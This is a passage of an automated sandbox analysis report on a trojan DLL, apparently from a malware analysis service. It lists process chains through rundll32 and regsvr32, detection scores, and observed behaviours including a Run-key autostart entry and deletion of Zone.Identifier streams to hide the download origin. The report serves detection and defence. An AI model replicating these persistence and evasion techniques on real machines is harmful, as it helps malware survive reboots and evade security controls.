                      Source: C:\Windows\System32\rundll32.exeCode function: 4_2_0000000180039A204_2_0000000180039A20
                      Source: C:\Windows\System32\rundll32.exeCode function: 4_2_000000018002CA204_2_000000018002CA20
                      Source: C:\Windows\System32\rundll32.exeCode function: 4_2_0000000180012A204_2_0000000180012A20
                      Source: C:\Windows\System32\rundll32.exeCode function: 4_2_0000000180032A2C4_2_0000000180032A2C
                      Source: C:\Windows\System32\rundll32.exeCode function: 4_2_0000000180036A2C4_2_0000000180036A2C
                      Source: C:\Windows\System32\rundll32.exeCode function: 4_2_0000000180035A644_2_0000000180035A64
                      Source: C:\Windows\System32\rundll32.exeCode function: 4_2_000000018003AAA04_2_000000018003AAA0
                      Source: C:\Windows\System32\rundll32.exeCode function: 4_2_0000000180034AB84_2_0000000180034AB8
                      Source: C:\Windows\System32\rundll32.exeCode function: 4_2_0000000180007ABC4_2_0000000180007ABC
                      Source: C:\Windows\System32\rundll32.exeCode function: 4_2_0000000180037AD44_2_0000000180037AD4
                      Source: C:\Windows\System32\rundll32.exeCode function: 4_2_0000000180029AE84_2_0000000180029AE8
                      Source: C:\Windows\System32\rundll32.exeCode function: 4_2_0000000180033B584_2_0000000180033B58
                      Source: C:\Windows\System32\rundll32.exeCode function: 4_2_0000000180038B644_2_0000000180038B64
                      Source: C:\Windows\System32\rundll32.exeCode function: 4_2_0000000180003B844_2_0000000180003B84
                      Source: C:\Windows\System32\rundll32.exeCode function: 4_2_0000000180032B984_2_0000000180032B98
                      Source: C:\Windows\System32\rundll32.exeCode function: 4_2_0000000180034BC04_2_0000000180034BC0
                      Source: C:\Windows\System32\rundll32.exeCode function: 4_2_0000000180068BC84_2_0000000180068BC8
                      Source: C:\Windows\System32\rundll32.exeCode function: 4_2_0000000180039C2C4_2_0000000180039C2C
                      Source: C:\Windows\System32\rundll32.exeCode function: 4_2_0000000180036C304_2_0000000180036C30
                      Source: C:\Windows\System32\rundll32.exeCode function: 4_2_0000000180046C2C4_2_0000000180046C2C
                      Source: C:\Windows\System32\rundll32.exeCode function: 4_2_0000000180033C604_2_0000000180033C60
                      Source: C:\Windows\System32\rundll32.exeCode function: 4_2_0000000180049C7C4_2_0000000180049C7C
                      Source: C:\Windows\System32\rundll32.exeCode function: 4_2_0000000180032C9C4_2_0000000180032C9C
                      Source: C:\Windows\System32\rundll32.exeCode function: 4_2_000000018000DCA04_2_000000018000DCA0
                      Source: C:\Windows\System32\rundll32.exeCode function: 4_2_000000018000CCC44_2_000000018000CCC4
                      Source: C:\Windows\System32\rundll32.exeCode function: 4_2_0000000180034CCC4_2_0000000180034CCC
                      Source: C:\Windows\System32\rundll32.exeCode function: 4_2_000000018003ACD44_2_000000018003ACD4
                      Source: C:\Windows\System32\rundll32.exeCode function: 4_2_0000000180037CE04_2_0000000180037CE0
                      Source: C:\Windows\System32\rundll32.exeCode function: 4_2_0000000180041CF04_2_0000000180041CF0
                      Source: C:\Windows\System32\rundll32.exeCode function: 4_2_000000018001CCF04_2_000000018001CCF0
                      Source: C:\Windows\System32\rundll32.exeCode function: 4_2_000000018005BCF84_2_000000018005BCF8
                      Source: C:\Windows\System32\rundll32.exeCode function: 4_2_0000000180047D084_2_0000000180047D08
                      Source: C:\Windows\System32\rundll32.exeCode function: 4_2_000000018000FD404_2_000000018000FD40
                      Source: C:\Windows\System32\rundll32.exeCode function: 4_2_0000000180033D684_2_0000000180033D68
                      Source: C:\Windows\System32\rundll32.exeCode function: 4_2_0000000180053D6C4_2_0000000180053D6C
                      Source: C:\Windows\System32\rundll32.exeCode function: 4_2_0000000180038D904_2_0000000180038D90
                      Source: C:\Windows\System32\rundll32.exeCode function: 4_2_0000000180032DC84_2_0000000180032DC8
                      Source: C:\Windows\System32\rundll32.exeCode function: 4_2_0000000180003DE04_2_0000000180003DE0
                      Source: C:\Windows\System32\rundll32.exeCode function: 4_2_0000000180031DF04_2_0000000180031DF0
                      Source: C:\Windows\System32\rundll32.exeCode function: 4_2_0000000180052E204_2_0000000180052E20
                      Source: C:\Windows\System32\rundll32.exeCode function: 4_2_0000000180039E304_2_0000000180039E30
                      Source: C:\Windows\System32\rundll32.exeCode function: 4_2_0000000180034E384_2_0000000180034E38
                      Source: C:\Windows\System32\rundll32.exeCode function: 4_2_0000000180010E484_2_0000000180010E48
                      Source: C:\Windows\System32\rundll32.exeCode function: 4_2_0000000180036E5C4_2_0000000180036E5C
                      Source: C:\Windows\System32\rundll32.exeCode function: 4_2_0000000180033E744_2_0000000180033E74
                      Source: C:\Windows\System32\rundll32.exeCode function: 4_2_0000000180048EC44_2_0000000180048EC4
                      Source: C:\Windows\System32\rundll32.exeCode function: 4_2_0000000180032ED04_2_0000000180032ED0
                      Source: C:\Windows\System32\rundll32.exeCode function: 4_2_000000018003AEE04_2_000000018003AEE0
                      Source: C:\Windows\System32\rundll32.exeCode function: 4_2_0000000180004EE04_2_0000000180004EE0
                      Source: C:\Windows\System32\rundll32.exeCode function: 4_2_0000000180037EEC4_2_0000000180037EEC
                      Source: C:\Windows\System32\rundll32.exeCode function: 4_2_0000000180031EFC4_2_0000000180031EFC
                      Source: C:\Windows\System32\rundll32.exeCode function: 4_2_0000000180012F004_2_0000000180012F00
                      Source: C:\Windows\System32\rundll32.exeCode function: 4_2_0000000180034F404_2_0000000180034F40
                      Source: C:\Windows\System32\rundll32.exeCode function: 4_2_0000000180073F984_2_0000000180073F98
                      Source: C:\Windows\System32\rundll32.exeCode function: 4_2_0000000180038F944_2_0000000180038F94
                      Source: C:\Windows\System32\rundll32.exeCode function: 4_2_0000000180032FD84_2_0000000180032FD8
                      Source: C:\Windows\System32\rundll32.exeCode function: 4_2_0000022AB09800004_2_0000022AB0980000
                      Source: C:\Windows\System32\rundll32.exeCode function: 5_2_0000021CE6CA00005_2_0000021CE6CA0000
                      Source: C:\Windows\System32\regsvr32.exeCode function: 8_2_027E00008_2_027E0000
                      Source: C:\Windows\System32\regsvr32.exeCode function: 8_2_029C86888_2_029C8688
                      Source: C:\Windows\System32\regsvr32.exeCode function: 8_2_029C78B48_2_029C78B4
                      Source: C:\Windows\System32\regsvr32.exeCode function: 8_2_029C58C08_2_029C58C0
                      Source: C:\Windows\System32\regsvr32.exeCode function: 8_2_029D32FC8_2_029D32FC
                      Source: C:\Windows\System32\regsvr32.exeCode function: 8_2_029C18F08_2_029C18F0
                      Source: C:\Windows\System32\regsvr32.exeCode function: 8_2_029E5C1C8_2_029E5C1C
                      Source: C:\Windows\System32\regsvr32.exeCode function: 8_2_029CDC7C8_2_029CDC7C
                      Source: C:\Windows\System32\regsvr32.exeCode function: 8_2_029EAC7C8_2_029EAC7C
                      Source: C:\Windows\System32\regsvr32.exeCode function: 8_2_029D5E708_2_029D5E70
                      Source: C:\Windows\System32\regsvr32.exeCode function: 8_2_029DA7888_2_029DA788
                      Source: C:\Windows\System32\regsvr32.exeCode function: 8_2_029D43B48_2_029D43B4
                      Source: C:\Windows\System32\regsvr32.exeCode function: 8_2_029DD5B08_2_029DD5B0
                      Source: C:\Windows\System32\regsvr32.exeCode function: 8_2_029E23348_2_029E2334
                      Source: C:\Windows\System32\regsvr32.exeCode function: 8_2_029C9D2C8_2_029C9D2C
                      Source: C:\Windows\System32\regsvr32.exeCode function: 8_2_029E90948_2_029E9094
                      Source: C:\Windows\System32\regsvr32.exeCode function: 8_2_029E04908_2_029E0490
                      Source: C:\Windows\System32\regsvr32.exeCode function: 8_2_029CFE848_2_029CFE84
                      Source: C:\Windows\System32\regsvr32.exeCode function: 8_2_029C24808_2_029C2480
                      Source: C:\Windows\System32\regsvr32.exeCode function: 8_2_029C56BC8_2_029C56BC
                      Source: C:\Windows\System32\regsvr32.exeCode function: 8_2_029D84BC8_2_029D84BC
                      Source: C:\Windows\System32\regsvr32.exeCode function: 8_2_029D90BC8_2_029D90BC
                      Source: C:\Windows\System32\regsvr32.exeCode function: 8_2_029E6AB88_2_029E6AB8
                      Source: C:\Windows\System32\regsvr32.exeCode function: 8_2_029D64B08_2_029D64B0
                      Source: C:\Windows\System32\regsvr32.exeCode function: 8_2_029D68B08_2_029D68B0
                      Source: C:\Windows\System32\regsvr32.exeCode function: 8_2_029C98AC8_2_029C98AC
                      Source: C:\Windows\System32\regsvr32.exeCode function: 8_2_029C6ADC8_2_029C6ADC
                      Source: C:\Windows\System32\regsvr32.exeCode function: 8_2_029D16DC8_2_029D16DC
                      Source: C:\Windows\System32\regsvr32.exeCode function: 8_2_029CBCD88_2_029CBCD8
                      Source: C:\Windows\System32\regsvr32.exeCode function: 8_2_029E0ED48_2_029E0ED4
                      Source: C:\Windows\System32\regsvr32.exeCode function: 8_2_029E6CD08_2_029E6CD0
                      Source: C:\Windows\System32\regsvr32.exeCode function: 8_2_029C72CC8_2_029C72CC
                      Source: C:\Windows\System32\regsvr32.exeCode function: 8_2_029DC6CC8_2_029DC6CC
                      Source: C:\Windows\System32\regsvr32.exeCode function: 8_2_029EB0C48_2_029EB0C4
                      Source: C:\Windows\System32\regsvr32.exeCode function: 8_2_029C9AC08_2_029C9AC0
                      Source: C:\Windows\System32\regsvr32.exeCode function: 8_2_029D7CC08_2_029D7CC0
                      Source: C:\Windows\System32\regsvr32.exeCode function: 8_2_029EB6C08_2_029EB6C0
                      Source: C:\Windows\System32\regsvr32.exeCode function: 8_2_029C36FC8_2_029C36FC
                      Source: C:\Windows\System32\regsvr32.exeCode function: 8_2_029E88F88_2_029E88F8
                      Source: C:\Windows\System32\regsvr32.exeCode function: 8_2_029C12F08_2_029C12F0
                      Source: C:\Windows\System32\regsvr32.exeCode function: 8_2_029C40EC8_2_029C40EC
                      Source: C:\Windows\System32\regsvr32.exeCode function: 8_2_029D54EC8_2_029D54EC
                      Source: C:\Windows\System32\regsvr32.exeCode function: 8_2_029D66E88_2_029D66E8
                      Source: C:\Windows\System32\regsvr32.exeCode function: 8_2_029D14E08_2_029D14E0
                      Source: C:\Windows\System32\regsvr32.exeCode function: 8_2_029C421C8_2_029C421C
                      Source: C:\Windows\System32\regsvr32.exeCode function: 8_2_029DE61C8_2_029DE61C
                      Source: C:\Windows\System32\regsvr32.exeCode function: 8_2_029C74188_2_029C7418
                      Source: C:\Windows\System32\regsvr32.exeCode function: 8_2_029EB8148_2_029EB814
                      Source: C:\Windows\System32\regsvr32.exeCode function: 8_2_029CF60C8_2_029CF60C
                      Source: C:\Windows\System32\regsvr32.exeCode function: 8_2_029DEC088_2_029DEC08
                      Source: C:\Windows\System32\rundll32.exeCode function: String function: 0000000180004968 appears 32 times
                      Source: C:\Windows\System32\regsvr32.exeCode function: String function: 0000000180004968 appears 32 times
                      Source: C:\Windows\System32\regsvr32.exeCode function: 3_2_000000018000B10C: DeviceIoControl,GetLastError,GetLastError,3_2_000000018000B10C
                      Source: C:\Windows\System32\regsvr32.exeSection loaded: sfc.dllJump to behavior
                      Source: C:\Windows\System32\regsvr32.exeSection loaded: sfc.dllJump to behavior
                      Source: C:\Windows\System32\regsvr32.exeSection loaded: sfc.dllJump to behavior
                      Source: C:\Windows\System32\regsvr32.exeSection loaded: sfc.dll
                      Source: kOiaWLNKXpjayWeM.dllReversingLabs: Detection: 88%
                      Source: kOiaWLNKXpjayWeM.dllVirustotal: Detection: 73%
                      Source: kOiaWLNKXpjayWeM.dllStatic PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
                      Source: C:\Windows\System32\loaddll64.exeKey opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiersJump to behavior
                      Source: unknownProcess created: C:\Windows\System32\loaddll64.exe loaddll64.exe "C:\Users\user\Desktop\kOiaWLNKXpjayWeM.dll"
                      Source: C:\Windows\System32\loaddll64.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                      Source: C:\Windows\System32\loaddll64.exeProcess created: C:\Windows\System32\cmd.exe cmd.exe /C rundll32.exe "C:\Users\user\Desktop\kOiaWLNKXpjayWeM.dll",#1
                      Source: C:\Windows\System32\loaddll64.exeProcess created: C:\Windows\System32\regsvr32.exe regsvr32.exe /s C:\Users\user\Desktop\kOiaWLNKXpjayWeM.dll
                      Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\rundll32.exe rundll32.exe "C:\Users\user\Desktop\kOiaWLNKXpjayWeM.dll",#1
                      Source: C:\Windows\System32\loaddll64.exeProcess created: C:\Windows\System32\rundll32.exe rundll32.exe C:\Users\user\Desktop\kOiaWLNKXpjayWeM.dll,?AddArrayString@JKDefragLib@@QEAAPEAPEA_WPEAPEA_WPEA_W@Z
                      Source: C:\Windows\System32\regsvr32.exeProcess created: C:\Windows\System32\regsvr32.exe C:\Windows\system32\regsvr32.exe "C:\Windows\system32\WVVZhuligM\KuLiEStglluewHbC.dll"
                      Source: C:\Windows\System32\loaddll64.exeProcess created: C:\Windows\System32\rundll32.exe rundll32.exe C:\Users\user\Desktop\kOiaWLNKXpjayWeM.dll,?CallShowStatus@JKDefragLib@@QEAAXPEAUDefragDataStruct@@HH@Z
                      Source: C:\Windows\System32\rundll32.exeProcess created: C:\Windows\System32\WerFault.exe C:\Windows\system32\WerFault.exe -u -p 6128 -s 480
                      Source: C:\Windows\System32\rundll32.exeProcess created: C:\Windows\System32\WerFault.exe C:\Windows\system32\WerFault.exe -u -p 2424 -s 472
                      Source: C:\Windows\System32\loaddll64.exeProcess created: C:\Windows\System32\rundll32.exe rundll32.exe C:\Users\user\Desktop\kOiaWLNKXpjayWeM.dll,?ColorizeItem@JKDefragLib@@QEAAXPEAUDefragDataStruct@@PEAUItemStruct@@_K2H@Z
                      Source: unknownProcess created: C:\Windows\System32\regsvr32.exe C:\Windows\system32\regsvr32.exe" "C:\Windows\system32\WVVZhuligM\KuLiEStglluewHbC.dll
                      Source: C:\Windows\System32\rundll32.exeProcess created: C:\Windows\System32\regsvr32.exe C:\Windows\system32\regsvr32.exe "C:\Users\user\AppData\Local\WrWLj\BwssvzQrG.dll"
                      Source: C:\Windows\System32\loaddll64.exeProcess created: C:\Windows\System32\cmd.exe cmd.exe /C rundll32.exe "C:\Users\user\Desktop\kOiaWLNKXpjayWeM.dll",#1Jump to behavior
                      Source: C:\Windows\System32\loaddll64.exeProcess created: C:\Windows\System32\regsvr32.exe regsvr32.exe /s C:\Users\user\Desktop\kOiaWLNKXpjayWeM.dllJump to behavior
                      Source: C:\Windows\System32\loaddll64.exeProcess created: C:\Windows\System32\rundll32.exe rundll32.exe C:\Users\user\Desktop\kOiaWLNKXpjayWeM.dll,?AddArrayString@JKDefragLib@@QEAAPEAPEA_WPEAPEA_WPEA_W@ZJump to behavior
                      Source: C:\Windows\System32\loaddll64.exeProcess created: C:\Windows\System32\rundll32.exe rundll32.exe C:\Users\user\Desktop\kOiaWLNKXpjayWeM.dll,?CallShowStatus@JKDefragLib@@QEAAXPEAUDefragDataStruct@@HH@ZJump to behavior
                      Source: C:\Windows\System32\loaddll64.exeProcess created: C:\Windows\System32\rundll32.exe rundll32.exe C:\Users\user\Desktop\kOiaWLNKXpjayWeM.dll,?ColorizeItem@JKDefragLib@@QEAAXPEAUDefragDataStruct@@PEAUItemStruct@@_K2H@ZJump to behavior
                      Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\rundll32.exe rundll32.exe "C:\Users\user\Desktop\kOiaWLNKXpjayWeM.dll",#1Jump to behavior
                      Source: C:\Windows\System32\regsvr32.exeProcess created: C:\Windows\System32\regsvr32.exe C:\Windows\system32\regsvr32.exe "C:\Windows\system32\WVVZhuligM\KuLiEStglluewHbC.dll"Jump to behavior
                      Source: C:\Windows\System32\regsvr32.exeProcess created: C:\Windows\System32\regsvr32.exe C:\Windows\system32\regsvr32.exe "C:\Users\user\AppData\Local\WrWLj\BwssvzQrG.dll"Jump to behavior
                      Source: C:\Windows\System32\regsvr32.exeKey value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{1f486a52-3cb1-48fd-8f50-b8dc300d9f9d}\InProcServer32Jump to behavior
                      Source: C:\Windows\System32\regsvr32.exeCode function: 3_2_0000000180007ABC GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueA,AdjustTokenPrivileges,GetVolumePathNameW,swprintf,GetVolumeNameForVolumeMountPointW,GetLastError,swprintf,swprintf,_fread_nolock,CreateFileW,GetLastError,DeviceIoControl,GetLastError,CloseHandle,GetDiskFreeSpaceExW,DeviceIoControl,swprintf,swprintf,FlushFileBuffers,CloseHandle,FlushFileBuffers,CloseHandle,CloseHandle,3_2_0000000180007ABC
                      Source: C:\Windows\System32\rundll32.exeCode function: 4_2_0000000180007ABC GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueA,AdjustTokenPrivileges,GetVolumePathNameW,swprintf,GetVolumeNameForVolumeMountPointW,GetLastError,swprintf,swprintf,_fread_nolock,CreateFileW,GetLastError,DeviceIoControl,GetLastError,CloseHandle,GetDiskFreeSpaceExW,DeviceIoControl,swprintf,swprintf,FlushFileBuffers,CloseHandle,FlushFileBuffers,CloseHandle,CloseHandle,4_2_0000000180007ABC
                      Source: C:\Windows\System32\regsvr32.exeFile created: C:\Users\user\AppData\Local\WrWLj\Jump to behavior
                      Source: C:\Windows\System32\WerFault.exeFile created: C:\ProgramData\Microsoft\Windows\WER\Temp\WER1F6F.tmpJump to behavior
                      Source: classification engineClassification label: mal100.troj.evad.winDLL@21/8@0/47
                      Source: C:\Windows\System32\regsvr32.exeFile read: C:\Users\desktop.iniJump to behavior
                      Source: C:\Windows\System32\regsvr32.exeCode function: 3_2_0000000180007ABC GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueA,AdjustTokenPrivileges,GetVolumePathNameW,swprintf,GetVolumeNameForVolumeMountPointW,GetLastError,swprintf,swprintf,_fread_nolock,CreateFileW,GetLastError,DeviceIoControl,GetLastError,CloseHandle,GetDiskFreeSpaceExW,DeviceIoControl,swprintf,swprintf,FlushFileBuffers,CloseHandle,FlushFileBuffers,CloseHandle,CloseHandle,3_2_0000000180007ABC
                      Source: C:\Windows\System32\regsvr32.exeCode function: 8_2_029C9D2C FindCloseChangeNotification,Process32NextW,CreateToolhelp32Snapshot,Process32FirstW,8_2_029C9D2C
                      Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\rundll32.exe rundll32.exe "C:\Users\user\Desktop\kOiaWLNKXpjayWeM.dll",#1
                      Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6096:120:WilError_01
                      Source: C:\Windows\System32\WerFault.exeMutant created: \Sessions\1\BaseNamedObjects\Local\WERReportingForProcess6128
                      Source: C:\Windows\System32\WerFault.exeMutant created: \Sessions\1\BaseNamedObjects\Local\WERReportingForProcess2424
                      Source: C:\Windows\System32\WerFault.exeFile read: C:\Windows\System32\drivers\etc\hostsJump to behavior
                      Source: C:\Windows\System32\WerFault.exeFile read: C:\Windows\System32\drivers\etc\hostsJump to behavior
                      Source: C:\Windows\System32\WerFault.exeFile read: C:\Windows\System32\drivers\etc\hostsJump to behavior
                      Source: C:\Windows\System32\WerFault.exeFile read: C:\Windows\System32\drivers\etc\hostsJump to behavior
                      Source: C:\Windows\System32\rundll32.exeAutomated click: OK
                      Source: C:\Windows\System32\rundll32.exeAutomated click: OK
                      Source: C:\Windows\System32\regsvr32.exeAutomated click: OK
                      Source: Window RecorderWindow detected: More than 3 window changes detected
                      Source: kOiaWLNKXpjayWeM.dllStatic PE information: Image base 0x180000000 > 0x60000000
                      Source: kOiaWLNKXpjayWeM.dllStatic PE information: data directory type: IMAGE_DIRECTORY_ENTRY_IMPORT
                      Source: kOiaWLNKXpjayWeM.dllStatic PE information: data directory type: IMAGE_DIRECTORY_ENTRY_RESOURCE
                      Source: kOiaWLNKXpjayWeM.dllStatic PE information: data directory type: IMAGE_DIRECTORY_ENTRY_BASERELOC
                      Source: kOiaWLNKXpjayWeM.dllStatic PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG
                      Source: kOiaWLNKXpjayWeM.dllStatic PE information: data directory type: IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG
                      Source: kOiaWLNKXpjayWeM.dllStatic PE information: data directory type: IMAGE_DIRECTORY_ENTRY_IAT
                      Source: kOiaWLNKXpjayWeM.dllStatic PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG
                      Source: kOiaWLNKXpjayWeM.dllStatic PE information: Data directory: IMAGE_DIRECTORY_ENTRY_IMPORT is in: .rdata
                      Source: kOiaWLNKXpjayWeM.dllStatic PE information: Data directory: IMAGE_DIRECTORY_ENTRY_RESOURCE is in: .rsrc
                      Source: kOiaWLNKXpjayWeM.dllStatic PE information: Data directory: IMAGE_DIRECTORY_ENTRY_BASERELOC is in: .reloc
                      Source: kOiaWLNKXpjayWeM.dllStatic PE information: Data directory: IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG is in: .rdata
                      Source: kOiaWLNKXpjayWeM.dllStatic PE information: Data directory: IMAGE_DIRECTORY_ENTRY_IAT is in: .rdata
                      Source: C:\Windows\System32\regsvr32.exeCode function: 3_2_02408A56 push ebp; iretd 3_2_02408A57
                      Source: C:\Windows\System32\regsvr32.exeCode function: 3_2_02406212 push ebp; iretd 3_2_02406213
                      Source: C:\Windows\System32\regsvr32.exeCode function: 3_2_02405A82 push ebp; iretd 3_2_02405A83
                      Source: C:\Windows\System32\regsvr32.exeCode function: 3_2_02406870 push ebp; iretd 3_2_024068C4
                      Source: C:\Windows\System32\regsvr32.exeCode function: 3_2_024230F3 push ebp; iretd 3_2_024230F4
                      Source: C:\Windows\System32\regsvr32.exeCode function: 3_2_02409097 push ebp; iretd 3_2_02409098
                      Source: C:\Windows\System32\regsvr32.exeCode function: 3_2_02406957 push ebp; iretd 3_2_02406958
                      Source: C:\Windows\System32\regsvr32.exeCode function: 3_2_02408E30 push ebp; iretd 3_2_02408E31
                      Source: C:\Windows\System32\regsvr32.exeCode function: 3_2_02406633 push ebp; retf 3_2_02406634
                      Source: C:\Windows\System32\regsvr32.exeCode function: 3_2_02408F44 push ebp; iretd 3_2_02408F45
                      Source: C:\Windows\System32\regsvr32.exeCode function: 3_2_02406738 push 45C7D274h; iretd 3_2_0240673E
                      Source: C:\Windows\System32\regsvr32.exeCode function: 3_2_02406415 push ebp; retf 3_2_02406416
                      Source: C:\Windows\System32\regsvr32.exeCode function: 3_2_024224FA push ebp; ret 3_2_024224FB
                      Source: C:\Windows\System32\regsvr32.exeCode function: 3_2_02408D61 push ebp; iretd 3_2_02408D62
                      Source: C:\Windows\System32\regsvr32.exeCode function: 3_2_0240658C push ebp; iretd 3_2_0240658D
                      Source: C:\Windows\System32\regsvr32.exeCode function: 22_2_02A35A82 push ebp; iretd 22_2_02A35A83
                      Source: C:\Windows\System32\regsvr32.exeCode function: 22_2_02A36633 push ebp; retf 22_2_02A36634
                      Source: C:\Windows\System32\regsvr32.exeCode function: 22_2_02A38E30 push ebp; iretd 22_2_02A38E31
                      Source: C:\Windows\System32\regsvr32.exeCode function: 22_2_02A36212 push ebp; iretd 22_2_02A36213
                      Source: C:\Windows\System32\regsvr32.exeCode function: 22_2_02A38A56 push ebp; iretd 22_2_02A38A57
                      Source: C:\Windows\System32\regsvr32.exeCode function: 22_2_02A36738 push 45C7D274h; iretd 22_2_02A3673E
                      Source: C:\Windows\System32\regsvr32.exeCode function: 22_2_02A38F44 push ebp; iretd 22_2_02A38F45
                      Source: C:\Windows\System32\regsvr32.exeCode function: 22_2_02A39097 push ebp; iretd 22_2_02A39098
                      Source: C:\Windows\System32\regsvr32.exeCode function: 22_2_02A530F3 push ebp; iretd 22_2_02A530F4
                      Source: C:\Windows\System32\regsvr32.exeCode function: 22_2_02A524FA push ebp; ret 22_2_02A524FB
                      Source: C:\Windows\System32\regsvr32.exeCode function: 22_2_02A36415 push ebp; retf 22_2_02A36416
                      Source: C:\Windows\System32\regsvr32.exeCode function: 22_2_02A36870 push ebp; iretd 22_2_02A368C4
                      Source: C:\Windows\System32\regsvr32.exeCode function: 22_2_02A3658C push ebp; iretd 22_2_02A3658D
                      Source: C:\Windows\System32\regsvr32.exeCode function: 22_2_02A38D61 push ebp; iretd 22_2_02A38D62
                      Source: C:\Windows\System32\regsvr32.exeCode function: 22_2_02A36957 push ebp; iretd 22_2_02A36958
                      Source: kOiaWLNKXpjayWeM.dllStatic PE information: section name: _RDATA
                      Source: C:\Windows\System32\loaddll64.exeProcess created: C:\Windows\System32\regsvr32.exe regsvr32.exe /s C:\Users\user\Desktop\kOiaWLNKXpjayWeM.dll
                      Source: C:\Windows\System32\regsvr32.exePE file moved: C:\Windows\System32\WVVZhuligM\KuLiEStglluewHbC.dllJump to behavior

                      Boot Survival

                      barindex
                      Creates an autostart registry key pointing to binary in C:\Windows
                      Source: C:\Windows\System32\regsvr32.exeRegistry value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run KuLiEStglluewHbC.dllJump to behavior
                      Source: C:\Windows\System32\regsvr32.exeRegistry value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run KuLiEStglluewHbC.dllJump to behavior
                      Source: C:\Windows\System32\regsvr32.exeRegistry value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run KuLiEStglluewHbC.dllJump to behavior

                      Hooking and other Techniques for Hiding and Protection

                      barindex
                      Hides that the sample has been downloaded from the Internet (zone.identifier)
                      Source: C:\Windows\System32\regsvr32.exeFile opened: C:\Windows\system32\WVVZhuligM\KuLiEStglluewHbC.dll:Zone.Identifier read attributes | deleteJump to behavior
                      Source: C:\Windows\System32\regsvr32.exeFile opened: C:\Users\user\AppData\Local\WrWLj\BwssvzQrG.dll:Zone.Identifier read attributes | deleteJump to behavior
                      Source: C:\Windows\System32\rundll32.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\System32\rundll32.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\System32\rundll32.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\System32\WerFault.exeProcess information set: FAILCRITICALERRORS | NOGPFAULTERRORBOXJump to behavior
                      Source: C:\Windows\System32\WerFault.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\System32\WerFault.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\System32\WerFault.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\System32\WerFault.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\System32\WerFault.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\System32\WerFault.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\System32\WerFault.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\System32\WerFault.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\System32\WerFault.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\System32\WerFault.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\System32\WerFault.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\System32\WerFault.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\System32\WerFault.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\System32\WerFault.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\System32\WerFault.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\System32\WerFault.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\System32\WerFault.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\System32\WerFault.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\System32\WerFault.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\System32\WerFault.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\System32\WerFault.exeProcess information set: FAILCRITICALERRORS | NOGPFAULTERRORBOXJump to behavior
                      Source: C:\Windows\System32\WerFault.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\System32\WerFault.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\System32\WerFault.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\System32\WerFault.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\System32\WerFault.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\System32\WerFault.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\System32\WerFault.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\System32\WerFault.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\System32\WerFault.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\System32\WerFault.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\System32\WerFault.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\System32\WerFault.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\System32\WerFault.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\System32\WerFault.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
